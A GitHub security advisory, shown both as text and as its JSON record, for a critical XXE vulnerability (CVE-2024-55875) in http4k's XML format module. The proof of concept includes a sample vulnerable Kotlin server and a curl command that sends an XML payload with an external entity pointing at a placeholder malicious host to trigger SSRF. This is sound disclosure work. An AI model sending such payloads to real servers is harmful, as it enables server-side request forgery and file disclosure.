GHSA-7MJ5-HJJJ-8RGW

Vulnerability from github – Published: 2024-12-12 19:22 – Updated: 2024-12-12 22:31
VLAI?
Summary
http4k has a potential XXE (XML External Entity Injection) vulnerability
Details

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Example Vulnerable server code:

import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document

fun main() {

    val xmlLens = Body.xml().toLens()

    // Create an HTTP handler
    val app: HttpHandler = { request ->
        try {
            // Parse the incoming XML payload to a Document object
            val xmlDocument: Document = xmlLens(request)

            // Extract root element name or other details from the XML
            val rootElementName = xmlDocument.documentElement.nodeName

            // Create a response XML based on the extracted information
            val responseXml = """
                <response>
                    <message>Root element is: $rootElementName</message>
                </response>
            """.trimIndent()

            // Respond with XML
            Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
        } catch (e: Exception) {
            // Handle invalid XML or other errors
            Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
        }
    }

    // Start the server
    val server = app.asServer(Netty(9000)).start()
    println("Server started on http://localhost:9000")
}

Maven dependency:

<dependencies>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-test-junit5</artifactId>
            <version>1.9.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter-engine</artifactId>
            <version>5.10.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-stdlib</artifactId>
            <version>1.9.0</version>
        </dependency>

        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-core</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- Http4k XML format -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-format-xml</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- http4k Netty -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-server-netty</artifactId>
            <version>5.40.0.0</version>
        </dependency>
    </dependencies>

Exploit payload example to trigger SSRF

curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"

Impact

What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.40.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-format-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0.0"
            },
            {
              "fixed": "5.41.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-format-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.50.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-611",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-12T19:22:01Z",
    "nvd_published_at": "2024-12-12T19:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThere is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\nhttps://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46\nXML contents is parsed with DocumentBuilder without security settings on or external entity enabled\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Example Vulnerable server code:\n```\nimport org.http4k.core.*\nimport org.http4k.format.Xml.xml\nimport org.http4k.server.Netty\nimport org.http4k.server.asServer\nimport org.w3c.dom.Document\n\nfun main() {\n\n    val xmlLens = Body.xml().toLens()\n\n    // Create an HTTP handler\n    val app: HttpHandler = { request -\u003e\n        try {\n            // Parse the incoming XML payload to a Document object\n            val xmlDocument: Document = xmlLens(request)\n\n            // Extract root element name or other details from the XML\n            val rootElementName = xmlDocument.documentElement.nodeName\n\n            // Create a response XML based on the extracted information\n            val responseXml = \"\"\"\n                \u003cresponse\u003e\n                    \u003cmessage\u003eRoot element is: $rootElementName\u003c/message\u003e\n                \u003c/response\u003e\n            \"\"\".trimIndent()\n\n            // Respond with XML\n            Response(Status.OK).body(responseXml).header(\"Content-Type\", \"application/xml\")\n        } catch (e: Exception) {\n            // Handle invalid XML or other errors\n            Response(Status.BAD_REQUEST).body(\"Invalid XML: ${e.message}\")\n        }\n    }\n\n    // Start the server\n    val server = app.asServer(Netty(9000)).start()\n    println(\"Server started on http://localhost:9000\")\n}\n```\n#### Maven dependency:\n```\n\u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-test-junit5\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.junit.jupiter\u003c/groupId\u003e\n            \u003cartifactId\u003ejunit-jupiter-engine\u003c/artifactId\u003e\n            \u003cversion\u003e5.10.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-stdlib\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-core\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- Http4k XML format --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-format-xml\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- http4k Netty --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-server-netty\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n```\n#### Exploit payload example to trigger SSRF\n`curl -X POST http://localhost:9000 -H \"Content-Type: application/xml\" -d \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\u003c!DOCTYPE root [\u003c!ENTITY xxe SYSTEM \\\"https://replace.with.your.malicious.website/poc\\\"\u003e]\u003e\u003croot\u003e\u0026xxe;\u003c/root\u003e\"`\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability\n",
  "id": "GHSA-7mj5-hjjj-8rgw",
  "modified": "2024-12-12T22:31:40Z",
  "published": "2024-12-12T19:22:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4k/http4k"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http4k has a potential XXE (XML External Entity Injection) vulnerability"
}


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